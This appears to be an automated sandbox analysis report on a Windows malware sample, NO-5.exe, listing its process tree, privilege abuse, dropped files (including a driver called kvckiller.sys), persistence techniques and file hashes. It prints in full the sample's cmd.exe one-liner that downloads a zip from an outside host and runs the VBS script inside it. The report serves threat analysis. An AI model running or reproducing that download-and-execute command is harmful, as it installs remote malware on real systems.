\REGISTRY\USER\S-1-5-21-1404337215-1550464601-2805570857-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppContainer\Storage\microsoftwindows.client.cbs_cw5n1h2txyewy\Internet Explorer\DOMStorage\client.cbs SearchHost.exe - Suspicious behavior: EnumeratesProcesses 64 IoCs
pid Process 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe - Suspicious behavior: LoadsDriver 64 IoCs
pid Process 3120 NO-5.exe 832 Process not Found 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe 1840 svchostsr.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeLoadDriverPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe Token: SeDebugPrivilege 3120 NO-5.exe - Suspicious use of FindShellTrayWindow 51 IoCs
pid Process 4728 sihost.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe - Suspicious use of SendNotifyMessage 42 IoCs
pid Process 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe 3156 explorer.exe - Suspicious use of SetWindowsHookEx 3 IoCs
pid Process 3284 StartMenuExperienceHost.exe 3156 explorer.exe 4092 SearchHost.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 3120 wrote to memory of 1000 3120 NO-5.exe 89 PID 3120 wrote to memory of 3228 3120 NO-5.exe 94 PID 3228 wrote to memory of 2288 3228 cmd.exe 96 PID 3228 wrote to memory of 4252 3228 cmd.exe 97 PID 4728 wrote to memory of 3156 4728 sihost.exe 105 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
- Uses Volume Shadow Copy WMI provider
The Volume Shadow Copy service is used to manage backups/snapshots.
- Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
- cURL User-Agent 1 IoCs
Uses User-Agent string associated with cURL utility.
description flow ioc HTTP User-Agent header 11 curl/8.8.0
Processes
-
C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe"C:\Users\Admin\AppData\Local\Temp\OP-5\NO-5.exe"1⤵
- Sets service image path in registry
- Adds Run key to start application
- Enumerates connected drives
- Enumerates video capture drivers
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: LoadsDriver
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3120 -
C:\Users\Public\cache.exeC:\Users\Public\cache.exe2⤵
- Drops file in Drivers directory
- Executes dropped EXE
PID:1000
-
-
C:\Windows\SysWOW64\cmd.exeC:\Windows\system32\cmd.exe /c curl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip && if not exist C:\DMRootCA md C:\DMRootCA && tar -xf C:\DMRootCA.zip -C C:\DMRootCA && del C:\DMRootCA.zip && cscript //B //Nologo C:\DMRootCA\Optimizeinstallation.vbs2⤵
- Executes a command shell one-liner
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:3228 -
C:\Windows\SysWOW64\curl.execurl -L -o C:\DMRootCA.zip https://xzy-1469461515.cos.ap-singapore.myqcloud.com/DMRootCA.zip3⤵
- System Location Discovery: System Language Discovery
PID:2288
-
-
C:\Windows\SysWOW64\tar.exetar -xf C:\DMRootCA.zip -C C:\DMRootCA3⤵PID:4252
-
-
-
C:\Users\Public\svchostsr.exeC:\Users\Public\svchostsr.exe1⤵
- Sets service image path in registry
- Executes dropped EXE
- Loads dropped DLL
- Reads the TCP/IP host and domain name from the registry
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: LoadsDriver
PID:1840
-
C:\Windows\System32\drivers\kvckiller.sysC:\Windows\System32\drivers\kvckiller.sys1⤵
- Executes dropped EXE
PID:3692
-
C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:3316
-
C:\Windows\system32\sihost.exesihost.exe1⤵
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:4728 -
C:\Windows\explorer.exeexplorer.exe /LOADSAVEDWINDOWS2⤵
- Boot or Logon Autostart Execution: Active Setup
- Enumerates connected drives
- Checks SCSI registry key(s)
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
- Suspicious use of SetWindowsHookEx
PID:3156
-
-
C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe"C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe" -ServerName:App.AppXywbrabmsek0gm3tkwpr5kwzbs55tkqay.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:3284
-
C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe"C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\SearchHost.exe" -ServerName:CortanaUI.AppXstmwaab17q5s3y22tp6apqz7a45vwv65.mca1⤵
- Modifies registry class
- Suspicious use of SetWindowsHookEx
PID:4092
-
C:\Windows\System32\SecurityHealthHost.exe\\?\C:\Windows\System32\SecurityHealthHost.exe {08728914-3F57-4D52-9E31-49DAECA5A80A} -Embedding1⤵PID:1864
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Privilege Escalation
Boot or Logon Autostart Execution
3Active Setup
1Registry Run Keys / Startup Folder
2Create or Modify System Process
1Windows Service
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\DMRootCA.zip
- Size 384B
- SHA256 c769a2e87da1a97b238413e2973b270c3fb6490de83ca45e5d885234a26c2d3c
- MD5 c1637be8acbf6f2754b0a06b0e6619e3
- SHA1 85f12b79c8c53aa0b401945ef2243f525972bd48
- SHA512 640bdf7e2ac475ef7bc140141a09eaac7542894549a6ed71b2cfbfa5d2da278863a1af3f6a6c06332d58b282ed1a7be1ea4bd6b0e9e6b5c49446f13a973ef24e
- TLSH T1DFE0F83C12881D880C60223BC80D6B2EAB48AD30B0D23138DD004585ABCE2002871B85
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\TempState\prep_Activatable Class_Hermes_perf.cache
- Size 607B
- SHA256 be6b74e52e5eef1f1c27c0976bf3bf1bfa99958c00bbef2898a602f691be6dae
- MD5 76b78ed7ff6273215b134d6a6488035d
- SHA1 9e7a11ffb68d027036302eccd4c22315054843a9
- SHA512 9919504cd4d8c0757abff8da4bbad1c4b6532f81d290c736fc5624ef66de45e6a9e29a8290854ae554d5bdfc5291f1ea81ae62d1b25846bfbcf1515e2ec3e4f1
- TLSH T174F0DC53CBD6536BD527223CC8E207E1FA70E2719E81212386106F2D6CB77241E474B4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\EmbeddedDriverService.sys
- Size 34KB
- SHA256 70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
- MD5 485a04675df7cf40a8865706e003eb25
- SHA1 711ef221526997039e804a18db9647c91680bbe2
- SHA512 f4bfd8c2056ccc08012cc35a4480eea5f91f43d69872dd65e935d6224ee56eca0a017cca1d088245440a3ceeb129fc90fbef4c1a30550de08b6102a7cf526350
- SSDEEP 768:fag4/W+9Nz53T+rBORCDItmhcK6OpmlQu9lcsD/9z0y:CgGzVGORWItmhcK6OpQN9lcEz0y
- TLSH T1A1F24CC072EC48C5E8AA9974E555D647AAF0F6420310D9FF46D0C1585F277C2EE3D2BA
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\cache.exe
- Size 349KB
- SHA256 46f65f7089e8bf0468a096247243d513f4667a964c239ea00334431122f1a544
- MD5 89733460266ebe94928157c96023e27c
- SHA1 3fc81d75655b2cdc929edb64a3593571a9efb6bb
- SHA512 5f5b2aba83068deefa1c01b7e84109873d2c63494a61b373da1c846c6453a5960605587471687c79c88080cdc6cd8d3b96c98acf5a92240cde6b2922f803470c
- SSDEEP 6144:kfC59veo09bgmIdule2lkoDigaJQ8qrwnSJmdS7BELHgJ8jAm:b5ibV65OZ6QJrKSw87C
- TLSH T15F746B05E7A504FAEA67867CC992C515EA727C214760F7CB03D08EAB3E236D49E3E711
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\libcef.dll
- Size 11.6MB
- SHA256 f8515b0e2a68b677a105ed438062223ac91e61c7796bd6cd83089e1b0591016b
- MD5 122ca07761bd2aadc59f3f344e95aabf
- SHA1 fb6fe73aeff1377b6c1f0b5819f93821be1e207f
- SHA512 d8c33aeb72e6010fa2a67ab69c9ca2b4f2c6225514d53278338c3ac1f74481b89ca56ff8ab1489f24e0e22e53fb73735c4ddc310180c83c7585660e5967f6f20
- SSDEEP 49152:oWQQFCSewjuBfaBpYc47VNR5xBJB/mPLNjUISv8TrVoVAvJE6b8cr2piTZei7aTn:95DyBSBCDVNRoTNoyvhrzav1F3V
- TLSH T1D0C649F2654B73ACC29BCAF3A02C0444364699D112E949F3E5C47A74AFEFD99E214336
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Public\svchostsr.exe
- Size 671KB
- SHA256 85314a24741a27bb969008b91f6f47e08f1a7a761eb9c772da8a608947dbe092
- MD5 15863d6cfaebb1f75461a6c72a0e5376
- SHA1 16247f741a9cb345e1e2ad199f60d4101a34c8ca
- SHA512 a982eaa430a3ab3c5e7d248eef6216d463a349ec407d63a326ba8e67b99d9ef00283ec7ab9db7c14e013c990e21b028611b9ef8341f32e7768dcd54643807fa8
- SSDEEP 12288:27ehokgmoz1Vwy+UGLOMlPGnzM2LE+vomFFb5KSIAWb5sKwIqsr1KMkPwWK7tbG:27jkgmooy+fizM2LE+vomFnvIAWOdsrM
- TLSH T158E47D613642C03ED77210B00D3DDAAE107DF6654F2699DBA3C80E6D5FB42D22E3A667
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Windows\System32\drivers\kvckiller.sys
- Size 37KB
- SHA256 ff5dbdcf6d7ae5d97b6f3ef412df0b977ba4a844c45b30ca78c0eeb2653d69a8
- MD5 2f4b5a0d98bc4e5616f2dd04337ae674
- SHA1 f8a3f28ecbd0b08ecab73ef571f16c3d0bd5e009
- SHA512 d46c14789e7cd5540ed6442d3362e8e09bb32250b570aab44b228c54dd8748048111adb0adc89eec860d1c5c6357946a9671c072e92ccb84699de963cc8d7845
- SSDEEP 384:fWT7WKllIBt9dS6Bn/amID5aUAtAcwHbftAVBMIYioQrHvPxh8E9VF0NyQEvxXhD:L6OQlKVrYioQjPxWEauXhIf3Wx9zpQ5
- TLSH T10B03AD9346642495DE6AAA3096D1DD17FD78B6821B61C2EB0329C2481F633C1F7393BE
- MD5 SHA1 SHA512 SSDEEP TLSH